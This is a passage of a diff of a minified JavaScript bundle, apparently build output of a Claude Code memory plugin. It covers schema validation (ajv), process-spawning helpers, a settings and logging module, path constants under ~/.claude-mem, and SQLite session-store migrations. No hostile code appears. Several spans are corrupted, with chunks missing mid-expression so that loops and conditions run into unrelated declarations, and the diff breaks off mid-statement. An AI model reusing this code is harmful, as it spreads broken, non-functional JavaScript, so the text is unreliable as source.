meta-schema",definitions:{schemaArray:{type:"array",minItems:1,items:{$ref:"#"}},nonNegativeInteger:{type:"integer",minimum:0},nonNegativeIntegerDefault0:{allOf:[{$ref:"#/definitions/nonNegativeInteger"},{default:0}]},simpleTypes:{enum:["array","boolean","integer","null","number","object","string"]},stringArray:{type:"array",items:{type:"string"},uniqueItems:!0,default:[]}},type:["object","boolean"],properties:{$id:{type:"string",format:"uri-reference"},$schema:{type:"string",format:"uri"},$ref:{type:"string",format:"uri-reference"},$comment:{type:"string"},title:{type:"string"},description:{type:"string"},default:!0,readOnly:{type:"boolean",default:!1},examples:{type:"array",items:!0},multipleOf:{type:"number",exclusiveMinimum:0},maximum:{type:"number"},exclusiveMaximum:{type:"number"},minimum:{type:"number"},exclusiveMinimum:{type:"number"},maxLength:{$ref:"#/definitions/nonNegativeInteger"},minLength:{$ref:"#/definitions/nonNegativeIntegerDefault0"},pattern:{type:"string",format:"regex"},additionalItems:{$ref:"#"},items:{anyOf:[{$ref:"#"},{$ref:"#/definitions/schemaArray"}],default:!0},maxItems:{$ref:"#/definitions/nonNegativeInteger"},minItems:{$ref:"#/definitions/nonNegativeIntegerDefault0"},uniqueItems:{type:"boolean",default:!1},contains:{$ref:"#"},maxProperties:{$ref:"#/definitions/nonNegativeInteger"},minProperties:{$ref:"#/definitions/nonNegativeIntegerDefault0"},required:{$ref:"#/definitions/stringArray"},additionalProperties:{$ref:"#"},definitions:{type:"object",additionalProperties:{$ref:"#"},default:{}},properties:{type:"object",additionalProperties:{$ref:"#"},default:{}},patternProperties:{type:"object",additionalProperties:{$ref:"#"},propertyNames:{format:"regex"},default:{}},dependencies:{type:"object",additionalProperties:{anyOf:[{$ref:"#"},{$ref:"#/definitions/stringArray"}]}},propertyNames:{$ref:"#"},const:!0,enum:{type:"array",items:!0,minItems:1,uniqueItems:!0},type:{anyOf:[{$ref:"#/definitions/simpleTypes"},{type:"array",items:{$ref:"#/definitions/simpleTypes"},minItems:1,uniqueItems:!0}]},format:{type:"string"},contentMediaType:{type:"string"},contentEncoding:{type:"string"},if:{$ref:"#"},then:{$ref:"#"},else:{$ref:"#"},allOf:{$ref:"#/definitions/schemaArray"},anyOf:{$ref:"#/definitions/schemaArray"},oneOf:{$ref:"#/definitions/schemaArray"},not:{$ref:"#"}},default:!0}});var RS=V((VW,$S)=>{"use strict";var kS=Af();$S.exports={$id:"https://github.com/ajv-validator/ajv/blob/master/lib/definition_schema.js",definitions:{simpleTypes:kS.definitions.simpleTypes},type:"object",dependencies:{schema:["validate"],$data:["validate"],statements:["inline"],valid:{not:{required:["macro"]}}},properties:{type:kS.properties.type,schema:{type:"boolean"},statements:{type:"boolean"},dependencies:{type:"array",items:{type:"string"}},metaSchema:{type:"object"},modifying:{type:"boolean"},valid:{type:"boolean"},$data:{type:"boolean"},async:{type:"boolean"},errors:{anyOf:[{type:"boolean"},{const:"full"}]}}}});var OS=V((ZW,PS)=>{"use strict";var F8=/^[a-z_$][a-z0-9_$-]*$/i,z8=TS(),U8=RS();PS.exports={add:H8,get:B8,remove:V8,validate:Nf};function H8(t,e){var r=this.RULES;if(r.keywords[t])throw new Error("Keyword "+t+" is already defined");if(!F8.test(t))throw new Error("Keyword "+t+" is not a valid identifier");if(e){this.validateKeyword(e,!0);var n=e.type;if(Array.isArray(n))for(var a=0;a{Z8.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#",description:"Meta-schema for $data reference (JSON Schema extension proposal)",type:"object",required:["$data"],properties:{$data:{type:"string",anyOf:[{format:"relative-json-pointer"},{format:"json-pointer"}]}},additionalProperties:!1}});var zS=V((WW,FS)=>{"use strict";var AS=lw(),Cn=yu(),G8=pw(),NS=_f(),W8=Tf(),K8=Ew(),X8=gS(),jS=bS(),MS=On();FS.exports=Et;Et.prototype.validate=Y8;Et.prototype.compile=Q8;Et.prototype.addSchema=e9;Et.prototype.addMetaSchema=t9;Et.prototype.validateSchema=r9;Et.prototype.getSchema=n9;Et.prototype.removeSchema=i9;Et.prototype.addFormat=m9;Et.prototype.errorsText=f9;Et.prototype._addSchema=o9;Et.prototype._compile=c9;Et.prototype.compileAsync=SS();var $u=OS();Et.prototype.addKeyword=$u.add;Et.prototype.getKeyword=$u.get;Et.prototype.removeKeyword=$u.remove;Et.prototype.validateKeyword=$u.validate;var DS=_u();Et.ValidationError=DS.Validation;Et.MissingRefError=DS.MissingRef;Et.$dataMetaSchema=jS;var ku="http://json-schema.org/draft-07/schema",IS=["removeAdditional","useDefaults","coerceTypes","strictDefaults"],J8=["/properties"];function Et(t){if(!(this instanceof Et))return new Et(t);t=this._opts=MS.copy(t)||{},b9(this),this._schemas={},this._refs={},this._fragments={},this._formats=K8(t.format),this._cache=t.cache||new G8,this._loadingSchemas={},this._compilations=[],this.RULES=X8(),this._getId=u9(t),t.loopRequired=t.loopRequired||1/0,t.errorDataPath=="property"&&(t._errorDataPathProperty=!0),t.serialize===void 0&&(t.serialize=W8),this._metaOpts=_9(this),t.formats&&g9(this),t.keywords&&y9(this),h9(this),typeof t.meta=="object"&&this.addMetaSchema(t.meta),t.nullable&&this.addKeyword("nullable",{metaSchema:{type:"boolean"}}),v9(this)}function Y8(t,e){var r;if(typeof t=="string"){if(r=this.getSchema(t),!r)throw new Error('no schema with key or ref "'+t+'"')}else{var n=this._addSchema(t);r=n.validate||this._compile(n)}var a=r(e);return r.$async!==!0&&(this.errors=r.errors),a}function Q8(t,e){var r=this._addSchema(t,void 0,e);return r.validate||this._compile(r)}function e9(t,e,r,n){if(Array.isArray(t)){for(var a=0;a{ZS.exports=VS;VS.sync=w9;var HS=require("fs");function x9(t,e){var r=e.pathExt!==void 0?e.pathExt:process.env.PATHEXT;if(!r||(r=r.split(";"),r.indexOf("")!==-1))return!0;for(var n=0;n{JS.exports=KS;KS.sync=S9;var WS=require("fs");function KS(t,e,r){WS.stat(t,function(n,a){r(n,n?!1:XS(a,e))})}function S9(t,e){return XS(WS.statSync(t),e)}function XS(t,e){return t.isFile()&&E9(t,e)}function E9(t,e){var r=t.mode,n=t.uid,a=t.gid,s=e.uid!==void 0?e.uid:process.getuid&&process.getuid(),i=e.gid!==void 0?e.gid:process.getgid&&process.getgid(),o=parseInt("100",8),c=parseInt("010",8),u=parseInt("001",8),l=o|c,d=r&u||r&c&&a===i||r&o&&n===s||r&l&&s===0;return d}});var eE=V((tK,QS)=>{var eK=require("fs"),Ru;process.platform==="win32"||global.TESTING_WINDOWS?Ru=GS():Ru=YS();QS.exports=Mf;Mf.sync=T9;function Mf(t,e,r){if(typeof e=="function"&&(r=e,e={}),!r){if(typeof Promise!="function")throw new TypeError("callback not provided");return new Promise(function(n,a){Mf(t,e||{},function(s,i){s?a(s):n(i)})})}Ru(t,e||{},function(n,a){n&&(n.code==="EACCES"||e&&e.ignoreErrors)&&(n=null,a=!1),r(n,a)})}function T9(t,e){try{return Ru.sync(t,e||{})}catch(r){if(e&&e.ignoreErrors||r.code==="EACCES")return!1;throw r}}});var oE=V((rK,iE)=>{var Ns=process.platform==="win32"||process.env.OSTYPE==="cygwin"||process.env.OSTYPE==="msys",tE=require("path"),k9=Ns?";":":",rE=eE(),aE=t=>Object.assign(new Error(`not found: ${t}`),{code:"ENOENT"}),nE=(t,e)=>{let r=e.colon||k9,n=t.match(/\//)||Ns&&t.match(/\\/)?[""]:[...Ns?[process.cwd()]:[],...(e.path||process.env.PATH||"").split(r)],a=Ns?e.pathExt||process.env.PATHEXT||".EXE;.CMD;.BAT;.COM":"",s=Ns?a.split(r):[""];return Ns&&t.indexOf(".")!==-1&&s[0]!==""&&s.unshift(""),{pathEnv:n,pathExt:s,pathExtExe:a}},sE=(t,e,r)=>{typeof e=="function"&&(r=e,e={}),e||(e={});let{pathEnv:n,pathExt:a,pathExtExe:s}=nE(t,e),i=[],o=u=>new Promise((l,d)=>{if(u===n.length)return e.all&&i.length?l(i):d(aE(t));let f=n[u],m=/^".*"$/.test(f)?f.slice(1,-1):f,g=tE.join(m,t),b=!m&&/^\.[\\\/]/.test(t)?t.slice(0,2)+g:g;l(c(b,u,0))}),c=(u,l,d)=>new Promise((f,m)=>{if(d===a.length)return f(o(l+1));let g=a[d];rE(u+g,{pathExt:s},(b,p)=>{if(!b&&p)if(e.all)i.push(u+g);else return f(u+g);return f(c(u,l,d+1))})});return r?o(0).then(u=>r(null,u),r):o(0)},$9=(t,e)=>{e=e||{};let{pathEnv:r,pathExt:n,pathExtExe:a}=nE(t,e),s=[];for(let i=0;i{"use strict";var cE=(t={})=>{let e=t.env||process.env;return(t.platform||process.platform)!=="win32"?"PATH":Object.keys(e).reverse().find(n=>n.toUpperCase()==="PATH")||"Path"};Df.exports=cE;Df.exports.default=cE});var fE=V((nK,pE)=>{"use strict";var lE=require("path"),R9=oE(),P9=uE();function dE(t,e){let r=t.options.env||process.env,n=process.cwd(),a=t.options.cwd!=null,s=a&&process.chdir!==void 0&&!process.chdir.disabled;if(s)try{process.chdir(t.options.cwd)}catch{}let i;try{i=R9.sync(t.command,{path:r[P9({env:r})],pathExt:e?lE.delimiter:void 0})}catch{}finally{s&&process.chdir(n)}return i&&(i=lE.resolve(a?t.options.cwd:"",i)),i}function O9(t){return dE(t)||dE(t,!0)}pE.exports=O9});var mE=V((sK,Lf)=>{"use strict";var qf=/([()\][%!^"`<>&|;, *?])/g;function C9(t){return t=t.replace(qf,"^$1"),t}function I9(t,e){return t=`${t}`,t=t.replace(/(?=(\\+?)?)\1"/g,'$1$1\\"'),t=t.replace(/(?=(\\+?)?)\1$/,"$1$1"),t=`"${t}"`,t=t.replace(qf,"^$1"),e&&(t=t.replace(qf,"^$1")),t}Lf.exports.command=C9;Lf.exports.argument=I9});var vE=V((iK,hE)=>{"use strict";hE.exports=/^#!(.*)/});var yE=V((oK,gE)=>{"use strict";var A9=vE();gE.exports=(t="")=>{let e=t.match(A9);if(!e)return null;let[r,n]=e[0].replace(/#! ?/,"").split(" "),a=r.split("/").pop();return a==="env"?n:n?`${a} ${n}`:a}});var bE=V((cK,_E)=>{"use strict";var Ff=require("fs"),N9=yE();function j9(t){let r=Buffer.alloc(150),n;try{n=Ff.openSync(t,"r"),Ff.readSync(n,r,0,150,0),Ff.closeSync(n)}catch{}return N9(r.toString())}_E.exports=j9});var EE=V((uK,SE)=>{"use strict";var M9=require("path"),xE=fE(),wE=mE(),D9=bE(),q9=process.platform==="win32",L9=/\.(?:com|exe)$/i,F9=/node_modules[\\/].bin[\\/][^\\/]+\.cmd$/i;function z9(t){t.file=xE(t);let e=t.file&&D9(t.file);return e?(t.args.unshift(t.file),t.command=e,xE(t)):t.file}function U9(t){if(!q9)return t;let e=z9(t),r=!L9.test(e);if(t.options.forceShell||r){let n=F9.test(e);t.command=M9.normalize(t.command),t.command=wE.command(t.command),t.args=t.args.map(s=>wE.argument(s,n));let a=[t.command].concat(t.args).join(" ");t.args=["/d","/s","/c",`"${a}"`],t.command=process.env.comspec||"cmd.exe",t.options.windowsVerbatimArguments=!0}return t}function H9(t,e,r){e&&!Array.isArray(e)&&(r=e,e=null),e=e?e.slice(0):[],r=Object.assign({},r);let n={command:t,args:e,options:r,file:void 0,original:{command:t,args:e}};return r.shell?n:U9(n)}SE.exports=H9});var $E=V((lK,kE)=>{"use strict";var zf=process.platform==="win32";function Uf(t,e){return Object.assign(new Error(`${e} ${t.command} ENOENT`),{code:"ENOENT",errno:"ENOENT",syscall:`${e} ${t.command}`,path:t.command,spawnargs:t.args})}function B9(t,e){if(!zf)return;let r=t.emit;t.emit=function(n,a){if(n==="exit"){let s=TE(a,e);if(s)return r.call(t,"error",s)}return r.apply(t,arguments)}}function TE(t,e){return zf&&t===1&&!e.file?Uf(e.original,"spawn"):null}function V9(t,e){return zf&&t===1&&!e.file?Uf(e.original,"spawnSync"):null}kE.exports={hookChildProcess:B9,verifyENOENT:TE,verifyENOENTSync:V9,notFoundError:Uf}});var OE=V((dK,js)=>{"use strict";var RE=require("child_process"),Hf=EE(),Bf=$E();function PE(t,e,r){let n=Hf(t,e,r),a=RE.spawn(n.command,n.args,n.options);return Bf.hookChildProcess(a,n),a}function Z9(t,e,r){let n=Hf(t,e,r),a=RE.spawnSync(n.command,n.args,n.options);return a.error=a.error||Bf.verifyENOENTSync(a.status,n),a}js.exports=PE;js.exports.spawn=PE;js.exports.sync=Z9;js.exports._parse=Hf;js.exports._enoent=Bf});var NE,jE,ME=ca(()=>{"use strict";NE="bugfix,feature,refactor,discovery,decision,change",jE="how-it-works,why-it-exists,what-changed,problem-solution,gotcha,pattern,trade-off"});var LE={};Jn(LE,{SettingsDefaultsManager:()=>ct});var Ds,DE,qE,ct,Dr=ca(()=>{"use strict";Ds=require("fs"),DE=require("path"),qE=require("os");ME();mt();ct=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:(0,DE.join)((0,qE.homedir)(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_MODE:"code",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:NE,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:jE,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(e){return this.DEFAULTS[e]}static getInt(e){let r=this.get(e);return parseInt(r,10)}static getBool(e){return this.get(e)==="true"}static loadFromFile(e){try{if(!(0,Ds.existsSync)(e))return this.getAllDefaults();let r=(0,Ds.readFileSync)(e,"utf-8"),n=JSON.parse(r),a=n;if(n.env&&typeof n.env=="object"){a=n.env;try{(0,Ds.writeFileSync)(e,JSON.stringify(a,null,2),"utf-8"),U.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:e})}catch(i){U.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:e},i)}}let s={...this.DEFAULTS};for(let i of Object.keys(this.DEFAULTS))a[i]!==void 0&&(s[i]=a[i]);return s}catch(r){return U.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:e},r),this.getAllDefaults()}}}});var Vf,Zf,U,mt=ca(()=>{"use strict";Dr();Vf=(s=>(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(Vf||{}),Zf=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let e=ct.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=Vf[e]??1}return this.level}correlationId(e,r){return`obs-${e}-${r}`}sessionId(e){return`session-${e}`}formatData(e){if(e==null)return"";if(typeof e=="string")return e;if(typeof e=="number"||typeof e=="boolean")return e.toString();if(typeof e=="object"){if(e instanceof Error)return this.getLevel()===0?`${e.message} +${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let r=Object.keys(e);return r.length===0?"{}":r.length<=3?JSON.stringify(e):`{${r.length} keys: ${r.slice(0,3).join(", ")}...}`}return String(e)}formatTool(e,r){if(!r)return e;let n=typeof r=="string"?JSON.parse(r):r;if(e==="Bash"&&n.command)return`${e}(${n.command})`;if(n.file_path)return`${e}(${n.file_path})`;if(n.notebook_path)return`${e}(${n.notebook_path})`;if(e==="Glob"&&n.pattern)return`${e}(${n.pattern})`;if(e==="Grep"&&n.pattern)return`${e}(${n.pattern})`;if(n.url)return`${e}(${n.url})`;if(n.query)return`${e}(${n.query})`;if(e==="Task"){if(n.subagent_type)return`${e}(${n.subagent_type})`;if(n.description)return`${e}(${n.description})`}return e==="Skill"&&n.skill?`${e}(${n.skill})`:e==="LSP"&&n.operation?`${e}(${n.operation})`:e}formatTimestamp(e){let r=e.getFullYear(),n=String(e.getMonth()+1).padStart(2,"0"),a=String(e.getDate()).padStart(2,"0"),s=String(e.getHours()).padStart(2,"0"),i=String(e.getMinutes()).padStart(2,"0"),o=String(e.getSeconds()).padStart(2,"0"),c=String(e.getMilliseconds()).padStart(3,"0");return`${r}-${n}-${a} ${s}:${i}:${o}.${c}`}log(e,r,n,a,s){if(e0&&(d=` {${Object.entries(p).map(([y,v])=>`${y}=${v}`).join(", ")}}`)}let f=`[${i}] [${o}] [${c}] ${u}${n}${d}${l}`;e===3?console.error(f):console.log(f)}debug(e,r,n,a){this.log(0,e,r,n,a)}info(e,r,n,a){this.log(1,e,r,n,a)}warn(e,r,n,a){this.log(2,e,r,n,a)}error(e,r,n,a){this.log(3,e,r,n,a)}dataIn(e,r,n,a){this.info(e,`\u2192 ${r}`,n,a)}dataOut(e,r,n,a){this.info(e,`\u2190 ${r}`,n,a)}success(e,r,n,a){this.info(e,`\u2713 ${r}`,n,a)}failure(e,r,n,a){this.error(e,`\u2717 ${r}`,n,a)}timing(e,r,n,a){this.info(e,`\u23F1 ${r}`,a,{duration:`${n}ms`})}happyPathError(e,r,n,a,s=""){let u=((new Error().stack||"").split(` -`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),l=u?`${u[1].split("/").pop()}:${u[2]}`:"unknown",d={...n,location:l};return this.warn(e,`[HAPPY-PATH] ${r}`,d,a),s}},F=new Vf});function F9(){return typeof __dirname<"u"?__dirname:(0,Ft.dirname)((0,FE.fileURLToPath)(U9.url))}function $u(t){(0,LE.mkdirSync)(t,{recursive:!0})}function da(){return(0,Ft.join)(z9,"..","..")}var Ft,qE,LE,FE,U9,z9,tr,Zf,nK,sK,iK,oK,js,Ru,cK,uK,lK,dK,Ar=ba(()=>{"use strict";Ft=require("path"),qE=require("os"),LE=require("fs"),FE=require("url");Yr();U9={};z9=F9(),tr=ft.get("CLAUDE_MEM_DATA_DIR"),Zf=process.env.CLAUDE_CONFIG_DIR||(0,Ft.join)((0,qE.homedir)(),".claude"),nK=(0,Ft.join)(tr,"archives"),sK=(0,Ft.join)(tr,"logs"),iK=(0,Ft.join)(tr,"trash"),oK=(0,Ft.join)(tr,"backups"),js=(0,Ft.join)(tr,"settings.json"),Ru=(0,Ft.join)(tr,"claude-mem.db"),cK=(0,Ft.join)(tr,"vector-db"),uK=(0,Ft.join)(Zf,"settings.json"),lK=(0,Ft.join)(Zf,"commands"),dK=(0,Ft.join)(Zf,"CLAUDE.md")});var VE,Ma,Cu=ba(()=>{"use strict";VE=require("bun:sqlite");Ar();_t();Ma=class{db;constructor(){$u(tr),this.db=new VE.Database(Ru),this.db.run("PRAGMA journal_mode = WAL"),this.db.run("PRAGMA synchronous = NORMAL"),this.db.run("PRAGMA foreign_keys = ON"),this.initializeSchema(),this.ensureWorkerPortColumn(),this.ensurePromptTrackingColumns(),this.removeSessionSummariesUniqueConstraint(),this.addObservationHierarchicalFields(),this.makeObservationsTextNullable(),this.createUserPromptsTable(),this.ensureDiscoveryTokensColumn(),this.createPendingMessagesTable()}initializeSchema(){try{this.db.run(` +`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),l=u?`${u[1].split("/").pop()}:${u[2]}`:"unknown",d={...n,location:l};return this.warn(e,`[HAPPY-PATH] ${r}`,d,a),s}},U=new Zf});var KE={};Jn(KE,{ARCHIVES_DIR:()=>Wf,BACKUPS_DIR:()=>GE,CLAUDE_COMMANDS_DIR:()=>WE,CLAUDE_CONFIG_DIR:()=>oo,CLAUDE_MD_PATH:()=>tq,CLAUDE_SETTINGS_PATH:()=>eq,DATA_DIR:()=>qt,DB_PATH:()=>co,LOGS_DIR:()=>VE,MODES_DIR:()=>Kf,TRASH_DIR:()=>ZE,USER_SETTINGS_PATH:()=>In,VECTOR_DB_DIR:()=>Q9,createBackupFilename:()=>uq,ensureAllClaudeDirs:()=>iq,ensureAllDataDirs:()=>nq,ensureDir:()=>ar,ensureModesDir:()=>sq,getCurrentProjectName:()=>oq,getPackageCommandsDir:()=>cq,getPackageRoot:()=>nr,getProjectArchiveDir:()=>rq,getWorkerSocketPath:()=>aq});function J9(){return typeof __dirname<"u"?__dirname:(0,Tt.dirname)((0,BE.fileURLToPath)(lq.url))}function rq(t){return(0,Tt.join)(Wf,t)}function aq(t){return(0,Tt.join)(qt,`worker-${t}.sock`)}function ar(t){(0,UE.mkdirSync)(t,{recursive:!0})}function nq(){ar(qt),ar(Wf),ar(VE),ar(ZE),ar(GE),ar(Kf)}function sq(){ar(Kf)}function iq(){ar(oo),ar(WE)}function oq(){try{let t=(0,HE.execSync)("git rev-parse --show-toplevel",{cwd:process.cwd(),encoding:"utf8",stdio:["pipe","pipe","ignore"],windowsHide:!0}).trim();return(0,Tt.basename)(t)}catch{return(0,Tt.basename)(process.cwd())}}function nr(){return(0,Tt.join)(Y9,"..")}function cq(){let t=nr();return(0,Tt.join)(t,"commands")}function uq(t){let e=new Date().toISOString().replace(/[:.]/g,"-").replace("T","_").slice(0,19);return`${t}.backup.${e}`}var Tt,zE,UE,HE,BE,lq,Y9,qt,oo,Wf,VE,ZE,GE,Kf,In,co,Q9,eq,WE,tq,dr=ca(()=>{"use strict";Tt=require("path"),zE=require("os"),UE=require("fs"),HE=require("child_process"),BE=require("url");Dr();lq={};Y9=J9(),qt=ct.get("CLAUDE_MEM_DATA_DIR"),oo=process.env.CLAUDE_CONFIG_DIR||(0,Tt.join)((0,zE.homedir)(),".claude"),Wf=(0,Tt.join)(qt,"archives"),VE=(0,Tt.join)(qt,"logs"),ZE=(0,Tt.join)(qt,"trash"),GE=(0,Tt.join)(qt,"backups"),Kf=(0,Tt.join)(qt,"modes"),In=(0,Tt.join)(qt,"settings.json"),co=(0,Tt.join)(qt,"claude-mem.db"),Q9=(0,Tt.join)(qt,"vector-db"),eq=(0,Tt.join)(oo,"settings.json"),WE=(0,Tt.join)(oo,"commands"),tq=(0,Tt.join)(oo,"CLAUDE.md")});var e1,qa,Iu=ca(()=>{"use strict";e1=require("bun:sqlite");dr();mt();qa=class{db;constructor(){ar(qt),this.db=new e1.Database(co),this.db.run("PRAGMA journal_mode = WAL"),this.db.run("PRAGMA synchronous = NORMAL"),this.db.run("PRAGMA foreign_keys = ON"),this.initializeSchema(),this.ensureWorkerPortColumn(),this.ensurePromptTrackingColumns(),this.removeSessionSummariesUniqueConstraint(),this.addObservationHierarchicalFields(),this.makeObservationsTextNullable(),this.createUserPromptsTable(),this.ensureDiscoveryTokensColumn(),this.createPendingMessagesTable()}initializeSchema(){try{this.db.run(` CREATE TABLE IF NOT EXISTS schema_versions ( id INTEGER PRIMARY KEY, version INTEGER UNIQUE NOT NULL, @@ -114,111 +114,111 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let r=Obje CREATE INDEX IF NOT EXISTS idx_session_summaries_sdk_session ON session_summaries(sdk_session_id); CREATE INDEX IF NOT EXISTS idx_session_summaries_project ON session_summaries(project); CREATE INDEX IF NOT EXISTS idx_session_summaries_created ON session_summaries(created_at_epoch DESC); - `),this.db.prepare("INSERT INTO schema_versions (version, applied_at) VALUES (?, ?)").run(4,new Date().toISOString()),console.log("[SessionStore] Migration004 applied successfully"))}catch(e){throw console.error("[SessionStore] Schema initialization error:",e.message),e}}ensureWorkerPortColumn(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(5))return;this.db.query("PRAGMA table_info(sdk_sessions)").all().some(a=>a.name==="worker_port")||(this.db.run("ALTER TABLE sdk_sessions ADD COLUMN worker_port INTEGER"),console.log("[SessionStore] Added worker_port column to sdk_sessions table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(5,new Date().toISOString())}catch(e){console.error("[SessionStore] Migration error:",e.message)}}ensurePromptTrackingColumns(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(6))return;this.db.query("PRAGMA table_info(sdk_sessions)").all().some(c=>c.name==="prompt_counter")||(this.db.run("ALTER TABLE sdk_sessions ADD COLUMN prompt_counter INTEGER DEFAULT 0"),console.log("[SessionStore] Added prompt_counter column to sdk_sessions table")),this.db.query("PRAGMA table_info(observations)").all().some(c=>c.name==="prompt_number")||(this.db.run("ALTER TABLE observations ADD COLUMN prompt_number INTEGER"),console.log("[SessionStore] Added prompt_number column to observations table")),this.db.query("PRAGMA table_info(session_summaries)").all().some(c=>c.name==="prompt_number")||(this.db.run("ALTER TABLE session_summaries ADD COLUMN prompt_number INTEGER"),console.log("[SessionStore] Added prompt_number column to session_summaries table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(6,new Date().toISOString())}catch(e){console.error("[SessionStore] Prompt tracking migration error:",e.message)}}removeSessionSummariesUniqueConstraint(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(7))return;if(!this.db.query("PRAGMA index_list(session_summaries)").all().some(a=>a.unique===1)){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(7,new Date().toISOString());return}console.log("[SessionStore] Removing UNIQUE constraint from session_summaries.sdk_session_id..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` - CREATE TABLE session_summaries_new ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - sdk_session_id TEXT NOT NULL, - project TEXT NOT NULL, - request TEXT, - investigated TEXT, - learned TEXT, - completed TEXT, - next_steps TEXT, - files_read TEXT, - files_edited TEXT, - notes TEXT, - prompt_number INTEGER, - created_at TEXT NOT NULL, - created_at_epoch INTEGER NOT NULL, - FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE - ) - `),this.db.run(` - INSERT INTO session_summaries_new - SELECT id, sdk_session_id, project, request, investigated, learned, - completed, next_steps, files_read, files_edited, notes, - prompt_number, created_at, created_at_epoch - FROM session_summaries - `),this.db.run("DROP TABLE session_summaries"),this.db.run("ALTER TABLE session_summaries_new RENAME TO session_summaries"),this.db.run(` - CREATE INDEX idx_session_summaries_sdk_session ON session_summaries(sdk_session_id); - CREATE INDEX idx_session_summaries_project ON session_summaries(project); - CREATE INDEX idx_session_summaries_created ON session_summaries(created_at_epoch DESC); - `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(7,new Date().toISOString()),console.log("[SessionStore] Successfully removed UNIQUE constraint from session_summaries.sdk_session_id")}catch(a){throw this.db.run("ROLLBACK"),a}}catch(e){console.error("[SessionStore] Migration error (remove UNIQUE constraint):",e.message)}}addObservationHierarchicalFields(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(8))return;if(this.db.query("PRAGMA table_info(observations)").all().some(a=>a.name==="title")){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(8,new Date().toISOString());return}console.log("[SessionStore] Adding hierarchical fields to observations table..."),this.db.run(` - ALTER TABLE observations ADD COLUMN title TEXT; - ALTER TABLE observations ADD COLUMN subtitle TEXT; - ALTER TABLE observations ADD COLUMN facts TEXT; - ALTER TABLE observations ADD COLUMN narrative TEXT; - ALTER TABLE observations ADD COLUMN concepts TEXT; - ALTER TABLE observations ADD COLUMN files_read TEXT; - ALTER TABLE observations ADD COLUMN files_modified TEXT; - `),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(8,new Date().toISOString()),console.log("[SessionStore] Successfully added hierarchical fields to observations table")}catch(e){console.error("[SessionStore] Migration error (add hierarchical fields):",e.message)}}makeObservationsTextNullable(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(9))return;let n=this.db.query("PRAGMA table_info(observations)").all().find(a=>a.name==="text");if(!n||n.notnull===0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(9,new Date().toISOString());return}console.log("[SessionStore] Making observations.text nullable..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` - CREATE TABLE observations_new ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - sdk_session_id TEXT NOT NULL, - project TEXT NOT NULL, - text TEXT, - type TEXT NOT NULL CHECK(type IN ('decision', 'bugfix', 'feature', 'refactor', 'discovery', 'change')), - title TEXT, - subtitle TEXT, - facts TEXT, - narrative TEXT, - concepts TEXT, - files_read TEXT, - files_modified TEXT, - prompt_number INTEGER, - created_at TEXT NOT NULL, - created_at_epoch INTEGER NOT NULL, - FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE - ) - `),this.db.run(` - INSERT INTO observations_new - SELECT id, sdk_session_id, project, text, type, title, subtitle, facts, - narrative, concepts, files_read, files_modified, prompt_number, - created_at, created_at_epoch - FROM observations - `),this.db.run("DROP TABLE observations"),this.db.run("ALTER TABLE observations_new RENAME TO observations"),this.db.run(` - CREATE INDEX 